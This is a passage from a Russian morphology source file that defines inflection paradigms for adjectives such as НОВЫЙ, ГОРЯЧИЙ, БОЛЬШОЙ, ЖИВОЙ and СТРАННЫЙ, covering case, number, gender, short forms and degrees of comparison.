ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%a0{ПРЕ}%-2%+ЕЙШЕГО" }
ЧИСЛО:ЕД РОД:ЖЕН { "%a0{ПРЕ}%-2%+ЕЙШУЮ" }
ЧИСЛО:ЕД РОД:СР { "%a0{ПРЕ}%-2%+ЕЙШЕЕ" }
ЧИСЛО:МН ОДУШ:ОДУШ { "%a0{ПРЕ}%-2%+ЕЙШИХ" }
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%a0{ПРЕ}%-2%+ЕЙШИЕ" }
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%a0{ПРЕ}%-2%+ЕЙШЕМУ" "%a0{ПРЕ}%-2%+ЕЙШЕЙ" "%a0{ПРЕ}%-2%+ЕЙШЕМУ" }
ЧИСЛО:МН { "%a0{ПРЕ}%-2%+ЕЙШИМ" }
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%a0{ПРЕ}%-2%+ЕЙШЕМ" "%a0{ПРЕ}%-2%+ЕЙШЕЙ" "%a0{ПРЕ}%-2%+ЕЙШЕМ" }
ЧИСЛО:МН { "%a0{ПРЕ}%-2%+ЕЙШИХ" }
}
}
} // end of paradigm Прил_5001
// НОВЫЙ etc.
paradigm новый, Прил_5002 : ПРИЛАГАТЕЛЬНОЕ for "(.+)\\@а\\@бЫЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // НОВЫЙ НОВАЯ НОВОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // НОВЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // НОВОГО НОВОЙ НОВОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // НОВЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // НОВЫМ НОВОЙ НОВЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // НОВОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // НОВЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // НОВЫЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // НОВОГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // НОВУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // НОВОЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // НОВЫХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // НОВЫЕ ГРЕХИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // НОВОМУ НОВОЙ НОВОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // НОВЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // НОВОМ НОВОЙ НОВОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // НОВЫХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-2" "%-2%+А" "%-2%+О" } // НОВ НОВА НОВО
ЧИСЛО:МН { "%-2%+Ы" } // НОВЫ
}
}
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЕ" } // НОВЕЕ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЙ" } // НОВЕЙ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%a0{ПО}%-2%+ЕЕ" } :: flexer "compar2" // ПОНОВЕЕ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%a0{ПО}%-2%+ЕЙ" } :: flexer "compar2" // ПОНОВЕЙ
СТЕПЕНЬ:ПРЕВОСХ ~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШИЙ" "%-2%+ЕЙШАЯ" "%-2%+ЕЙШЕЕ" } // НОВЕЙШИЙ НОВЕЙШАЯ НОВЕЙШЕЕ
ЧИСЛО:МН { "%-2%+ЕЙШИЕ" } // НОВЕЙШИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕГО" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕГО" } // НОВЕЙШЕГО НОВЕЙШЕЙ НОВЕЙШЕГО
ЧИСЛО:МН { "%-2%+ЕЙШИХ" } // НОВЕЙШИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШИМ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШИМ" } // НОВЕЙШИМ НОВЕЙШЕЙ НОВЕЙШИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЙШЕЮ" } // НОВЕЙШЕЮ
ЧИСЛО:МН { "%-2%+ЕЙШИМИ" } // НОВЕЙШИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "%-2%+ЕЙШИЙ" } // НОВЕЙШИЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЕЙШЕГО" } // НОВЕЙШЕГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЙШУЮ" } // НОВЕЙШУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЕЙШЕЕ" } // НОВЕЙШЕЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЕЙШИХ" } // НОВЕЙШИХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЕЙШИЕ" } // НОВЕЙШИЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕМУ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕМУ" } // НОВЕЙШЕМУ НОВЕЙШЕЙ НОВЕЙШЕМУ
ЧИСЛО:МН { "%-2%+ЕЙШИМ" } // НОВЕЙШИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕМ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕМ" } // НОВЕЙШЕМ НОВЕЙШЕЙ НОВЕЙШЕМ
ЧИСЛО:МН { "%-2%+ЕЙШИХ" } // НОВЕЙШИХ
}
// вариант суперлатива НАИ-
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШИЙ" "%a0{НАИ}%-2%+ЕЙШАЯ" "%a0{НАИ}%-2%+ЕЙШЕЕ" } // НОВЕЙШИЙ НОВЕЙШАЯ НОВЕЙШЕЕ
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИЕ" } // НОВЕЙШИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШЕГО" "%a0{НАИ}%-2%+ЕЙШЕЙ" "%a0{НАИ}%-2%+ЕЙШЕГО" } // НОВЕЙШЕГО НОВЕЙШЕЙ НОВЕЙШЕГО
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИХ" } // НОВЕЙШИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШИМ" "%a0{НАИ}%-2%+ЕЙШЕЙ" "%a0{НАИ}%-2%+ЕЙШИМ" } // НОВЕЙШИМ НОВЕЙШЕЙ НОВЕЙШИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%a0{НАИ}%-2%+ЕЙШЕЮ" } // НОВЕЙШЕЮ
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИМИ" } // НОВЕЙШИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "%a0{НАИ}%-2%+ЕЙШИЙ" } // НОВЕЙШИЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%a0{НАИ}%-2%+ЕЙШЕГО" } // НОВЕЙШЕГО
ЧИСЛО:ЕД РОД:ЖЕН { "%a0{НАИ}%-2%+ЕЙШУЮ" } // НОВЕЙШУЮ
ЧИСЛО:ЕД РОД:СР { "%a0{НАИ}%-2%+ЕЙШЕЕ" } // НОВЕЙШЕЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%a0{НАИ}%-2%+ЕЙШИХ" } // НОВЕЙШИХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%a0{НАИ}%-2%+ЕЙШИЕ" } // НОВЕЙШИЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШЕМУ" "%a0{НАИ}%-2%+ЕЙШЕЙ" "%a0{НАИ}%-2%+ЕЙШЕМУ" } // НОВЕЙШЕМУ НОВЕЙШЕЙ НОВЕЙШЕМУ
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИМ" } // НОВЕЙШИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШЕМ" "%a0{НАИ}%-2%+ЕЙШЕЙ" "%a0{НАИ}%-2%+ЕЙШЕМ" } // НОВЕЙШЕМ НОВЕЙШЕЙ НОВЕЙШЕМ
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИХ" } // НОВЕЙШИХ
}
}
} // end of paradigm Прил_5002
// ГОРЯЧИЙ
paradigm ГОРЯЧИЙ, Прил_5004 : ПРИЛАГАТЕЛЬНОЕ for "(.+)[ШЩЧ]ИЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ЕЕ" } // ГОРЯЧИЙ ГОРЯЧАЯ ГОРЯЧЕЕ
ЧИСЛО:МН { "%-2%+ИЕ" } // ГОРЯЧИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕГО" "%-2%+ЕЙ" "%-2%+ЕГО" } // ГОРЯЧЕГО ГОРЯЧЕЙ ГОРЯЧЕГО
ЧИСЛО:МН { "%-2%+ИХ" } // ГОРЯЧИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ИМ" "%-2%+ЕЙ" "%-2%+ИМ" } // ГОРЯЧИМ ГОРЯЧЕЙ ГОРЯЧИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЮ" } // ГОРЯЧЕЮ
ЧИСЛО:МН { "%-2%+ИМИ" } // ГОРЯЧИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ГОРЯЧИЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЕГО" } // ГОРЯЧЕГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // ГОРЯЧУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЕЕ" } // ГОРЯЧЕЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ИХ" } // ГОРЯЧИХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ИЕ" } // ГОРЯЧИЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЕМУ" "%-2%+ЕЙ" "%-2%+ЕМУ" } // ГОРЯЧЕМУ ГОРЯЧЕЙ ГОРЯЧЕМУ
ЧИСЛО:МН { "%-2%+ИМ" } // ГОРЯЧИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕМ" "%-2%+ЕЙ" "%-2%+ЕМ" } // ГОРЯЧЕМ ГОРЯЧЕЙ ГОРЯЧЕМ
ЧИСЛО:МН { "%-2%+ИХ" } // ГОРЯЧИХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-2" "%-2%+А" "%-2%+О" } // ГОРЯЧ ГОРЯЧА ГОРЯЧО
ЧИСЛО:МН { "%-2%+И" } // ГОРЯЧИ
}
}
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЕ" } // ГОРЯЧЕЕ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЙ" } // ГОРЯЧЕЙ
} // end of paradigm Прил_5004
// БОЛЬШОЙ
paradigm Большой, Прил_5005 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ШОЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-1%+Е" } // БОЛЬШОЙ БОЛЬШАЯ БОЛЬШОЕ
ЧИСЛО:МН { "%-2%+ИЕ" } // БОЛЬШИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-1%+ГО" "%-1%+Й" "%-1%+ГО" } // БОЛЬШОГО БОЛЬШОЙ БОЛЬШОГО
ЧИСЛО:МН { "%-2%+ИХ" } // БОЛЬШИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ИМ" "%-1%+Й" "%-2%+ИМ" } // БОЛЬШИМ БОЛЬШОЙ БОЛЬШИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-1%+Ю" } // БОЛЬШОЮ
ЧИСЛО:МН { "%-2%+ИМИ" } // БОЛЬШИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // БОЛЬШОЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-1%+ГО" } // БОЛЬШОГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // БОЛЬШУЮ
ЧИСЛО:ЕД РОД:СР { "%-1%+Е" } // БОЛЬШОЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ИХ" } // БОЛЬШИХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ИЕ" } // БОЛЬШИЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-1%+МУ" "%-1%+Й" "%-1%+МУ" } // БОЛЬШОМУ БОЛЬШОЙ БОЛЬШОМУ
ЧИСЛО:МН { "%-2%+ИМ" } // БОЛЬШИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-1%+М" "%-1%+Й" "%-1%+М" } // БОЛЬШОМ БОЛЬШОЙ БОЛЬШОМ
ЧИСЛО:МН { "%-2%+ИХ" } // БОЛЬШИХ
}
}
}
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+Е" } // БОЛЬШЕ
} // end of paradigm Прил_5005
// ПОСЛЕДНИЙ
paradigm Последний, Прил_5006 : ПРИЛАГАТЕЛЬНОЕ for "(.+)\\@бНИЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+ЯЯ" "%-2%+ЕЕ" } // ПОСЛЕДНИЙ ПОСЛЕДНЯЯ ПОСЛЕДНЕЕ
ЧИСЛО:МН { "%-2%+ИЕ" } // ПОСЛЕДНИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕГО" "%-2%+ЕЙ" "%-2%+ЕГО" } // ПОСЛЕДНЕГО ПОСЛЕДНЕЙ ПОСЛЕДНЕГО
ЧИСЛО:МН { "%-2%+ИХ" } // ПОСЛЕДНИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ИМ" "%-2%+ЕЙ" "%-2%+ИМ" } // ПОСЛЕДНИМ ПОСЛЕДНЕЙ ПОСЛЕДНИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЮ" } // ПОСЛЕДНЕЮ
ЧИСЛО:МН { "%-2%+ИМИ" } // ПОСЛЕДНИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ПОСЛЕДНИЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЕГО" } // ПОСЛЕДНЕГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЮЮ" } // ПОСЛЕДНЮЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЕЕ" } // ПОСЛЕДНЕЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ИХ" } // ПОСЛЕДНИХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ИЕ" } // ПОСЛЕДНИЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЕМУ" "%-2%+ЕЙ" "%-2%+ЕМУ" } // ПОСЛЕДНЕМУ ПОСЛЕДНЕЙ ПОСЛЕДНЕМУ
ЧИСЛО:МН { "%-2%+ИМ" } // ПОСЛЕДНИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕМ" "%-2%+ЕЙ" "%-2%+ЕМ" } // ПОСЛЕДНЕМ ПОСЛЕДНЕЙ ПОСЛЕДНЕМ
ЧИСЛО:МН { "%-2%+ИХ" } // ПОСЛЕДНИХ
}
}
}
} // end of paradigm Прил_5006
// ЖИВОЙ
paradigm Живой, Прил_5007 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ВОЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-1%+Е" } // ЖИВОЙ ЖИВАЯ ЖИВОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // ЖИВЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-1%+ГО" "" "%-1%+ГО" } // ЖИВОГО ЖИВОЙ ЖИВОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // ЖИВЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-1%+Й" "%-2%+ЫМ" } // ЖИВЫМ ЖИВОЙ ЖИВЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-1%+Ю" } // ЖИВОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // ЖИВЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ЖИВОЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-1%+ГО" } // ЖИВОГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // ЖИВУЮ
ЧИСЛО:ЕД РОД:СР { "%-1%+Е" } // ЖИВОЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // ЖИВЫХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // ЖИВЫЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-1%+МУ" "%-1%+Й" "%-1%+МУ" } // ЖИВОМУ ЖИВОЙ ЖИВОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // ЖИВЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-1%+М" "%-1%+Й" "%-1%+М" } // ЖИВОМ ЖИВОЙ ЖИВОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // ЖИВЫХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-2" "%-2%+А" "%-2%+О" } :: flexer "short" // ЖИВ ЖИВА ЖИВО
ЧИСЛО:МН { "%-2%+Ы" } :: flexer "short" // ЖИВЫ
}
}
} // end of paradigm Прил_5007
// СТРАННЫЙ
paradigm Странный, Прил_5008 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ННЫЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // СТРАННЫЙ СТРАННАЯ СТРАННОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // СТРАННЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // СТРАННОГО СТРАННОЙ СТРАННОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // СТРАННЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // СТРАННЫМ СТРАННОЙ СТРАННЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // СТРАННОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // СТРАННЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // СТРАННЫЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // СТРАННОГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // СТРАННУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // СТРАННОЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // СТРАННЫХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // СТРАННЫЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // СТРАННОМУ СТРАННОЙ СТРАННОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // СТРАННЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // СТРАННОМ СТРАННОЙ СТРАННОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // СТРАННЫХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-3%+ЕН" "%-2%+А" "%-2%+О" } // СТРАНЕН СТРАННА СТРАННО
ЧИСЛО:МН { "%-1" } // СТРАННЫ
}
}
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЕ" } // СТРАННЕЕ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЙ" } // СТРАННЕЙ
СТЕПЕНЬ:ПРЕВОСХ ~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШИЙ" "%-2%+ЕЙШАЯ" "%-2%+ЕЙШЕЕ" } // СТРАННЕЙШИЙ СТРАННЕЙШАЯ СТРАННЕЙШЕЕ
ЧИСЛО:МН { "%-2%+ЕЙШИЕ" } // СТРАННЕЙШИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕГО" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕГО" } // СТРАННЕЙШЕГО СТРАННЕЙШЕЙ СТРАННЕЙШЕГО
ЧИСЛО:МН { "%-2%+ЕЙШИХ" } // СТРАННЕЙШИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШИМ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШИМ" } // СТРАННЕЙШИМ СТРАННЕЙШЕЙ СТРАННЕЙШИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЙШЕЮ" } // СТРАННЕЙШЕЮ
ЧИСЛО:МН { "%-2%+ЕЙШИМИ" } // СТРАННЕЙШИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "%-2%+ЕЙШИЙ" } // СТРАННЕЙШИЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЕЙШЕГО" } // СТРАННЕЙШЕГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЙШУЮ" } // СТРАННЕЙШУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЕЙШЕЕ" } // СТРАННЕЙШЕЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЕЙШИХ" } // СТРАННЕЙШИХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЕЙШИЕ" } // СТРАННЕЙШИЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕМУ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕМУ" } // СТРАННЕЙШЕМУ СТРАННЕЙШЕЙ СТРАННЕЙШЕМУ
ЧИСЛО:МН { "%-2%+ЕЙШИМ" } // СТРАННЕЙШИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕМ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕМ" } // СТРАННЕЙШЕМ СТРАННЕЙШЕЙ СТРАННЕЙШЕМ
ЧИСЛО:МН { "%-2%+ЕЙШИХ" } // СТРАННЕЙШИХ
}
}
} // end of paradigm Прил_5008
// СИЛЬНЫЙ etc.
paradigm Сильный, Прил_5010 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ЬНЫЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // СИЛЬНЫЙ СИЛЬНАЯ СИЛЬНОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // СИЛЬНЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // СИЛЬНОГО СИЛЬНОЙ СИЛЬНОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // СИЛЬНЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // СИЛЬНЫМ СИЛЬНОЙ СИЛЬНЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // СИЛЬНОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // СИЛЬНЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // СИЛЬНЫЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // СИЛЬНОГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // СИЛЬНУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // СИЛЬНОЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // СИЛЬНЫХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // СИЛЬНЫЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // СИЛЬНОМУ СИЛЬНОЙ СИЛЬНОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // СИЛЬНЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // СИЛЬНОМ СИЛЬНОЙ СИЛЬНОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // СИЛЬНЫХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-4%+ЁН" "%-2%+А" "%-2%+О" } // СИЛЁН СИЛЬНА СИЛЬНО
ЧИСЛО:МН { "%-2%+Ы" } // СИЛЬНЫ
}
}
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЕ" } // СИЛЬНЕЕ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЙ" } // СИЛЬНЕЙ
СТЕПЕНЬ:ПРЕВОСХ ~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
